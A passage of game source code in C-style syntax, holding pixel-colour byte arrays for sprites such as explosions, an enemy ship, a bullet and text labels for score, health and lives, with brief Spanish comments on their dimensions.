        {0, 44, 0, 0, 0, 43, 43, 0, 0, 44, 44, 43, 43, 43, 42, 42, 43, 42, 42, 43, 42, 42, 42, 43, 43, 42, 42, 42, 43, 43, 43, 0, 0, 42, 42, 42, 0, 0, 0, 43, 43, 0, 0},
        {0, 0, 0, 0, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 43, 43, 43, 0, 0, 43, 0, 0, 0, 0, 0, 42, 44, 43, 43, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 43, 43, 0, 0, 0, 0, 0, 44, 44, 0, 0, 44, 44, 44, 0, 0, 0, 0, 44, 0, 0, 44, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 43, 43, 0, 0, 44, 0, 0, 0, 44, 0, 0, 0, 0, 0, 44, 44, 0, 0, 0, 0, 0, 44, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
  };

byte nvexpo4[44][43]=//[22] y.. dupli [44], [42] x
  {
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 0, 0, 0, 0, 43, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 42, 43, 43, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 0, 0, 43, 43, 0, 0, 43, 42, 41, 42, 42, 0, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 43, 43, 0, 43, 0, 0, 42, 41, 41, 42, 0, 0, 43, 42, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 42, 43, 42, 0, 42, 0, 0, 41, 41, 41, 42, 0, 0, 42, 42, 41, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 42, 42, 42, 40, 41, 41, 0, 41, 41, 40, 40, 40, 41, 40, 41, 41, 41, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 41, 40, 40, 40, 40, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 41, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 0, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 41, 40, 40, 40, 40, 40, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 41, 41, 41, 41, 41, 42, 41, 41, 40, 41, 40, 40, 40, 41, 41, 40, 40, 40, 40, 41, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 0, 41, 41, 41, 0, 0, 42, 41, 41, 41, 0, 0, 41, 41, 41, 41, 41, 40, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 42, 42, 0, 0, 0, 0, 42, 42, 42, 42, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 43, 0, 0, 0, 0, 42, 42, 0, 0, 42, 42, 0, 0, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 0, 0, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
  };

byte nvexpo5[44][43]=//[22] y.. dupli [44], [42] x
  {
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 41, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 42, 0, 0, 41, 41, 41, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 42, 40, 0, 0, 0, 41, 41, 40, 40, 40, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 40, 40, 0, 0, 0, 40, 40, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 40, 40, 0, 0, 40, 40, 0, 0, 40, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 0, 0, 40, 0, 0, 0, 0, 40, 40, 40, 0, 0, 40, 40, 0, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 0, 0, 40, 0, 0, 40, 40, 40, 40, 0, 0, 0, 40, 0, 0, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 41, 41, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
  };


byte nvmala[32][23]=//[16] "y" duplui[32].. [23] "X"
  {   
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 17, 17, 17, 17, 17, 0, 0, 0, 0, 0, 0,0, 0},
        {0, 0, 0, 0, 0, 17, 17, 17, 17, 6, 6, 6, 6, 6, 6, 17, 17, 17, 0, 0, 0,0, 0},
        {0, 0, 0, 17, 17, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 17, 17, 0,0, 0},
        {0, 0, 17, 6, 6, 6, 6, 6, 6, 17, 17, 17, 17, 17, 6, 6, 6, 6, 6, 6, 17,0, 0},
        {0, 17, 6, 6, 6, 6, 6, 6, 17, 119, 119, 119, 119, 119, 17, 6, 6, 6, 6, 6, 6,17, 0},
        {17, 6, 17, 17, 17, 6, 6, 17, 119, 17, 17, 17, 17, 119, 119, 17, 6, 6, 17, 17, 17,6, 17},
        {17, 17, 118, 17, 118, 17, 6, 17, 119, 17, 40, 40, 40, 17, 119, 17, 6, 17, 118, 17, 118,17, 17},
        {17, 6, 17, 20, 17, 17, 6, 17, 119, 119, 17, 17, 17, 119, 119, 17, 6, 17, 17, 20, 17,6, 17},
        {17, 6, 17, 20, 17, 6, 6, 6, 17, 119, 119, 119, 119, 119, 17, 6, 6, 6, 17, 20, 17,6, 17},
        {17, 6, 17, 20, 17, 6, 6, 6, 6, 17, 17, 17, 17, 17, 6, 6, 6, 6, 17, 20, 17,6, 17},
        {17, 17, 17, 17, 17, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 17, 17, 17,17, 17},
        {0, 17, 17, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 17,17, 0},
        {0, 0, 17, 17, 17, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 17, 17, 17,0, 0},
        {0, 0, 0, 17, 118, 17, 17, 17, 17, 6, 6, 6, 6, 6, 17, 17, 17, 17, 118, 17, 0,0, 0},
        {0, 0, 0, 0, 17, 17, 17, 118, 118, 17, 17, 17, 17, 17, 118, 118, 17, 17, 17, 0, 0,0, 0},
        {0, 0, 0, 0, 0, 0, 0, 17, 17, 17, 17, 17, 17, 17, 17, 17, 0, 0, 0, 0, 0,0, 0}
  };
byte puntuacion[18][86]=//[9] "y" dupli 18.. [86]"x"
    { 
        {43, 43, 43, 43, 43, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 43, 43, 43, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0},
        {0, 43, 43, 43, 0, 43, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0},
        {0, 43, 43, 0, 0, 43, 43, 43, 43, 43, 0, 43, 43, 43, 43, 0, 43, 43, 43, 43, 43,0, 43, 43, 43, 0, 0, 0, 0, 43, 43, 43, 0, 0, 0, 43, 43, 43, 43, 0, 43,43, 43, 43, 0, 0, 43, 43, 43, 0, 43, 43, 0, 0, 0, 0, 43, 43, 43, 0, 0,43, 43, 43, 43, 43, 0, 0, 0, 43, 43, 43, 0, 0, 0, 43, 43, 0, 43, 43, 43,0, 0, 0, 0, 0},
        {0, 43, 43, 0, 43, 43, 43, 43, 43, 43, 0, 0, 43, 43, 0, 0, 43, 43, 0, 43, 43,43, 43, 43, 43, 43, 0, 0, 43, 43, 43, 0, 0, 43, 0, 0, 43, 43, 0, 0, 43,43, 0, 0, 0, 0, 43, 43, 43, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 0, 0,0, 43, 43, 43, 0, 0, 0, 43, 0, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 43,43, 0, 0, 0, 0},
        {0, 43, 43, 43, 43, 43, 43, 43, 43, 43, 0, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43,43, 43, 43, 43, 43, 0, 43, 43, 43, 43, 43, 43, 43, 0, 43, 43, 43, 0, 0, 43,43, 43, 43, 0, 43, 43, 43, 0, 43, 43, 43, 0, 43, 43, 43, 43, 0, 43, 0, 0,0, 43, 43, 43, 0, 0, 43, 0, 0, 43, 43, 43, 43, 0, 43, 43, 43, 43, 43, 43,43, 0, 0, 43, 43},
        {0, 43, 43, 43, 43, 43, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43,43, 43, 43, 43, 43, 0, 0, 43, 43, 43, 0, 0, 0, 0, 43, 43, 43, 43, 43, 43,43, 43, 43, 0, 43, 43, 43, 0, 0, 43, 43, 0, 43, 43, 43, 43, 0, 0, 0, 0,0, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 43, 43, 0, 43, 43, 43, 43, 43, 43,43, 0, 0, 43, 43},
        {0, 43, 43, 0, 43, 43, 43, 43, 0, 0, 0, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43,0, 0, 43, 43, 43, 0, 0, 43, 43, 43, 0, 0, 43, 0, 43, 43, 43, 43, 43, 43,43, 43, 43, 0, 43, 43, 43, 43, 43, 43, 43, 0, 43, 43, 43, 43, 0, 0, 43, 0,0, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 43, 43, 0, 43, 43, 0, 0, 43, 43,43, 0, 0, 0, 0},
        {0, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 43, 43, 43, 43, 43, 43, 43, 0, 43, 43,0, 0, 43, 43, 0, 0, 0, 43, 43, 43, 43, 43, 43, 0, 43, 43, 43, 43, 43, 43,43, 43, 0, 0, 43, 43, 43, 43, 43, 43, 43, 0, 43, 43, 43, 43, 43, 43, 43, 0,0, 43, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 0, 0, 43, 43, 0, 0, 43, 43,0, 0, 0, 43, 43},
        {43, 43, 43, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 43, 43, 43, 43, 0, 0, 43, 43,0, 0, 43, 43, 0, 0, 0, 0, 43, 43, 43, 43, 43, 0, 0, 0, 43, 43, 43, 43,43, 0, 0, 0, 0, 43, 43, 43, 0, 43, 43, 0, 0, 43, 43, 43, 43, 0, 43, 0,43, 43, 43, 43, 43, 0, 0, 0, 43, 43, 43, 0, 0, 0, 43, 43, 0, 0, 43, 43,0, 0, 0, 43, 43}
    };
byte salud[18][43]=//[9]"y" dupli 18..[43]"x"
  {
        {0, 43, 43, 43, 43, 43, 0, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 43,43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 43, 43, 0, 0,0, 0},
        {43, 43, 43, 43, 43, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43,43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 43, 0, 0,0, 0},
        {43, 43, 43, 43, 43, 43, 0, 0, 43, 0, 0, 0, 43, 43, 43, 0, 43, 43, 0, 0, 43,43, 0, 0, 43, 43, 43, 43, 0, 43, 43, 43, 0, 43, 43, 43, 43, 43, 43, 0, 0,0, 0},
        {43, 43, 43, 43, 43, 43, 43, 0, 0, 0, 0, 0, 43, 43, 43, 43, 43, 43, 0, 0, 43,43, 0, 0, 0, 43, 43, 0, 0, 43, 43, 0, 43, 43, 43, 0, 43, 43, 43, 0, 0,0, 0},
        {0, 43, 43, 43, 43, 43, 43, 43, 43, 0, 0, 43, 43, 43, 0, 43, 43, 43, 0, 0, 43,43, 0, 0, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 43, 0, 0, 43, 43, 0, 0,43, 43},
        {0, 0, 0, 43, 43, 43, 43, 43, 43, 43, 0, 43, 43, 43, 0, 0, 43, 43, 0, 0, 43,43, 0, 0, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 0, 0,43, 43},
        {43, 0, 0, 0, 43, 43, 43, 43, 43, 43, 0, 43, 43, 43, 43, 43, 43, 43, 0, 0, 43,43, 0, 0, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 0, 0,0, 0},
        {0, 43, 43, 43, 43, 43, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 43, 43, 0, 0, 43,43, 0, 0, 43, 43, 43, 43, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 43, 0, 0,43, 43},
        {0, 43, 0, 43, 43, 43, 43, 43, 0, 0, 0, 0, 43, 43, 43, 0, 43, 43, 0, 43, 43,43, 43, 0, 0, 0, 43, 43, 43, 43, 0, 0, 0, 0, 43, 43, 43, 43, 43, 0, 0, 43, 43}
  };
byte vidas[18][45]=//[9]"y" dupli 18.. [45]"x"
  {
        {43, 43, 43, 43, 43, 0, 43, 43, 43, 43, 43, 0, 0, 43, 43, 43, 0, 0, 0, 0, 0,0, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0},
        {0, 43, 43, 43, 43, 0, 0, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0},
        {0, 43, 43, 43, 43, 0, 43, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 0, 0, 43, 43,43, 43, 43, 43, 0, 0, 43, 43, 43, 0, 43, 43, 0, 0, 43, 43, 43, 43, 43, 0,0, 0, 0, 0},
        {0, 43, 43, 43, 43, 0, 43, 43, 43, 0, 0, 0, 0, 43, 43, 0, 0, 0, 43, 43, 43,0, 43, 43, 43, 0, 0, 43, 43, 43, 43, 43, 43, 0, 43, 43, 43, 0, 0, 43, 0,0, 0, 0, 0},
        {0, 0, 43, 43, 43, 0, 43, 43, 43, 0, 0, 0, 0, 43, 43, 0, 0, 0, 43, 43, 43,0, 0, 43, 43, 0, 43, 43, 43, 0, 43, 43, 43, 0, 43, 43, 43, 0, 0, 0, 0,0, 0, 43, 43},
        {0, 0, 43, 43, 43, 0, 43, 43, 43, 0, 0, 0, 0, 43, 43, 0, 0, 0, 43, 43, 43,43, 43, 43, 43, 0, 43, 43, 43, 0, 0, 43, 43, 0, 0, 43, 43, 43, 43, 43, 43,0, 0, 43, 43},
        {0, 0, 43, 43, 43, 43, 43, 43, 0, 0, 0, 0, 0, 43, 43, 0, 0, 0, 43, 43, 43,43, 43, 43, 43, 0, 43, 43, 43, 43, 43, 43, 43, 0, 0, 0, 0, 43, 43, 43, 43,0, 0, 0, 0},
        {0, 0, 0, 43, 43, 43, 43, 43, 0, 0, 0, 0, 0, 43, 43, 43, 43, 0, 0, 43, 43,43, 43, 43, 43, 0, 43, 43, 43, 43, 43, 43, 43, 0, 43, 0, 0, 43, 43, 43, 43,0, 0, 43, 43},
        {0, 0, 43, 43, 43, 43, 43, 43, 43, 0, 0, 0, 43, 43, 43, 43, 43, 0, 0, 0, 43,43, 43, 43, 43, 0, 0, 43, 43, 43, 0, 43, 43, 0, 43, 43, 43, 43, 43, 43, 0,0, 0, 43, 43}
  };
byte nv_vidas[20][21]=//[10]"y" dupli [20]..[21]"x"
  {
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 17, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 17, 17, 119, 27, 119, 17, 17, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 17, 17, 17, 119, 27, 27, 27, 17, 119, 17, 17, 17, 0, 0, 0, 0},
        {0, 0, 0, 17, 17, 2, 2, 17, 119, 119, 17, 119, 119, 17, 2, 2, 2, 17, 17, 0, 0},
        {0, 17, 17, 2, 2, 2, 17, 119, 119, 119, 17, 119, 119, 17, 2, 2, 2, 2, 2, 17, 0},
        {0, 17, 2, 27, 27, 27, 17, 17, 17, 17, 119, 17, 17, 17, 2, 27, 27, 27, 2, 2, 17},
        {17, 17, 17, 17, 17, 17, 17, 17, 17, 119, 119, 119, 17, 17, 17, 17, 17, 17, 17, 17, 17},
        {0, 0, 0, 0, 0, 0, 0, 17, 17, 17, 17, 17, 119, 17, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 17, 17, 17, 17, 17, 0, 0, 0, 0, 0, 0, 0, 0}
  };
byte bala[6][1]=
{
        {40},
        {40},
        {40},
        {40},
        {40},
        {40}
};
byte explo1[32][23]=//[16] "y dupli" 32..[23]"x"
    {
        {0, 0, 0, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 0, 0, 0, 0},
        {0, 0, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 0, 0, 0},
        {0, 41, 40, 40, 40, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 40, 40, 40, 41,0, 0},
        {41, 40, 40, 40, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 40, 40, 40, 41, 0},
        {40, 40, 40, 41, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 40, 40, 40, 41},
        {40, 40, 41, 41, 42, 42, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 42, 42, 41, 40, 40, 40},
        {40, 40, 41, 42, 42, 42, 43, 43, 44, 44, 44, 44, 44, 44, 44, 43, 43, 42, 42, 42, 41, 40, 40},
        {40, 40, 41, 42, 42, 43, 43, 44, 40, 40, 40, 40, 40, 40, 40, 44, 43, 43, 42, 42, 41, 40, 40},
        {40, 40, 41, 42, 42, 43, 43, 44, 40, 40, 40, 40, 40, 40, 40, 44, 43, 43, 42, 42, 41, 40, 40},
        {40, 40, 41, 42, 42, 42, 43, 43, 44, 44, 44, 44, 44, 44, 44, 43, 43, 42, 42, 42, 41, 40, 40},
        {40, 40, 40, 41, 42, 42, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 42, 42, 41, 40, 40, 40},
        {41, 40, 40, 40, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 40, 40, 40, 41},
        {0, 41, 40, 40, 40, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 40, 40, 40, 41, 0},
        {0, 0, 41, 40, 40, 40, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 40, 40, 40, 41, 0, 0},
        {0, 0, 0, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 0, 0, 0},
        {0, 0, 0, 0, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 0, 0, 0, 0}
      };
byte explo2[32][23]=//[16] "y dupli" 32..[23]"x"
    {
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 0, 0, 0, 0, 0},
        {0, 0, 0, 40, 40, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 40, 40, 0, 0, 0, 0},
        {0, 0, 40, 40, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 40, 40, 0, 0, 0},
        {0, 40, 40, 41, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 40, 40, 0, 0},
        {0, 40, 41, 41, 42, 42, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 42, 42, 41, 40, 40, 0},
        {0, 40, 41, 42, 42, 42, 43, 43, 44, 44, 44, 44, 44, 44, 44, 43, 43, 42, 42, 42, 41, 40, 0},
        {0, 40, 41, 42, 42, 43, 43, 44, 40, 40, 40, 40, 40, 40, 40, 44, 43, 43, 42, 42, 41, 40, 0},
        {0, 40, 41, 42, 42, 43, 43, 44, 40, 40, 40, 40, 40, 40, 40, 44, 43, 43, 42, 42, 41, 40, 0},
        {0, 40, 41, 42, 42, 42, 43, 43, 44, 44, 44, 44, 44, 44, 44, 43, 43, 42, 42, 42, 41, 40, 0},
        {0, 40, 40, 41, 42, 42, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 42, 42, 41, 40, 40, 0},
        {0, 0, 40, 40, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 40, 40, 0, 0},
